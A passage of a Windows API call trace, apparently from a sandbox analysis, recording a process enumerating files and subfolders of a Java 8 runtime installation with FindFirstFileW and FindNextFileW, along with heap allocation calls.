ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0215.187] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.187] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0215.187] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0215.188] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0215.188] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0215.188] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0215.188] GetProcessHeap () returned 0xc10000 [0215.188] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0215.188] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0215.188] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0215.188] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0215.188] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0215.188] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0215.188] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0215.189] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0215.189] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0215.189] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0215.189] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0215.189] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0215.189] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0215.189] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0215.190] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0215.190] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0215.190] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0215.190] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0215.190] GetProcessHeap () returned 0xc10000 [0215.190] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0215.192] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0215.192] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0215.192] GetProcessHeap () returned 0xc10000 [0215.192] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0215.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0215.768] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.443] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0216.443] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0216.443] GetProcessHeap () returned 0xc10000 [0216.443] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0216.512] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.513] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0216.513] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0216.513] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0216.513] GetProcessHeap () returned 0xc10000 [0216.513] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.513] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0216.513] GetProcessHeap () returned 0xc10000 [0216.513] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0216.520] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.520] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.520] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0216.520] GetProcessHeap () returned 0xc10000 [0216.520] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.520] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0216.520] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0216.521] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0216.521] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0216.521] GetProcessHeap () returned 0xc10000 [0216.521] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0216.523] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.523] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0216.524] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, 